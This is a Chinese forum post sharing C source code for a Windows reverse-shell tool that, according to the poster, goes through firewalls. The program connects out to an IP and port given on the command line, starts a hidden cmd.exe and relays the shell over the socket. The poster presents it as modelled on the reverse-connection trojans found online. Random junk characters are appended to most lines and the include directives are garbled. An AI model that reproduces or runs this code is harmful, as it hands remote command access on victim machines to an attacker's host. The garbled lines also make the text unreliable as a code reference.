社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5103阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ua<5U5  
grS:j+_M2m  
/* ============================== y.anl  
Rebound port in Windows NT I+BHstF5um  
By wind,2006/7 Bu#E9hJFvA  
===============================*/ UGD2  
#include <x@}01 ~  
#include g~Z vA(`  
gGvz(R: y  
#pragma comment(lib,"wsock32.lib") 9l|@v=gw.  
_7<FOOM%8y  
void OutputShell(); J{'>uD.@  
SOCKET sClient; 3?[dE<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u&1q [0y  
~:0sk"t$1  
void main(int argc,char **argv) qJ;jfh!  
{ ATJWO 1CtB  
WSADATA stWsaData; XO`0>^g  
int nRet; dpJ_r>NI  
SOCKADDR_IN stSaiClient,stSaiServer; m/Oh\KlIl  
4 kn|^  
if(argc != 3) (gEBOol  
{ u_hD}V^x4  
printf("Useage:\n\rRebound DestIP DestPort\n"); b+,' ;bW  
return; Mxe}B'  
} 5G::wuxk  
S-P/+K6  
WSAStartup(MAKEWORD(2,2),&stWsaData); e_#._Pi  
8hXl%{6d3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?u-|>N>  
PbW(%7o(t  
stSaiClient.sin_family = AF_INET; =V-A@_^!c  
stSaiClient.sin_port = htons(0); a,xycX:U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ks"|}9\%<  
S-Wzour,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) io _1Y]N  
{ -!q :p&c  
printf("Bind Socket Failed!\n"); x8wD0D  
return; GU4'&#  
} 4P'*umJi  
!5.8]v  
stSaiServer.sin_family = AF_INET; XJ;D=~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?: N @!jeJ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Hx#;Z  
?!;7:VIE  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AB=daie  
{ ;L cVr13J/  
printf("Connect Error!"); +s(HOq)b  
return; &]8P1{  
} 9zZr^{lUl  
OutputShell(); ,.rs(5.z8/  
} !LggIk1  
'L 8n-TyL  
void OutputShell() }&/o'w2wY  
{ t5[ #x4 p  
char szBuff[1024]; ;fsZ7k4]do  
SECURITY_ATTRIBUTES stSecurityAttributes; tro7Di2Q  
OSVERSIONINFO stOsversionInfo; |*:'TKzNS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TX$r `~  
STARTUPINFO stStartupInfo; JM=JH 51`  
char *szShell; [f)cL6AeF  
PROCESS_INFORMATION stProcessInformation; \!>3SKs(e  
unsigned long lBytesRead; bW$J~ynM  
6,)[+Bl  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j2ve^F:Q  
~T9/#-e>BF  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rQk<90Ar  
stSecurityAttributes.lpSecurityDescriptor = 0; K!:azP,bZ  
stSecurityAttributes.bInheritHandle = TRUE; ozAS[B6  
'{E@*T /<.  
8WtsKOno  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %JXE5l+pJ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W=vG$  
6`O.!|)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TFH\K{DM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mk1bcK9  
stStartupInfo.wShowWindow = SW_HIDE; SNfr"2c'h~  
stStartupInfo.hStdInput = hReadPipe; Px$/ _`H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?,p;O  
+,2:g}5  
GetVersionEx(&stOsversionInfo); plUZ"Tr  
M\sN@+  
switch(stOsversionInfo.dwPlatformId) b6}H$Sx~  
{ t?q@H8  
case 1: h?rp|uPQ  
szShell = "command.com"; iJ~Zkd  
break; V"*O=h  
default: .l>77zM6  
szShell = "cmd.exe"; #z&& M"*a|  
break; '>&^zgr  
} %`OJ.:k  
{6"Ph(I1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #N#'5w-G  
i;NUAmx  
send(sClient,szMsg,77,0); L$9 . 8W  
while(1) s~>d:'k7|  
{ 0ZBJ ~W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {. 2k6_1[  
if(lBytesRead) xgpi-l  
{ )f}YW/'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }!;s.[y  
send(sClient,szBuff,lBytesRead,0); p;._HJ(  
} :z4)5= 6M  
else q<\,  
{ e<=cdze  
lBytesRead=recv(sClient,szBuff,1024,0); [onGNq?#  
if(lBytesRead<=0) break; lp<g \  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vV[eWd.o6M  
} Av"R[)  
} "$N#p5  
;u;#g  
return; L{hnU7sY  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八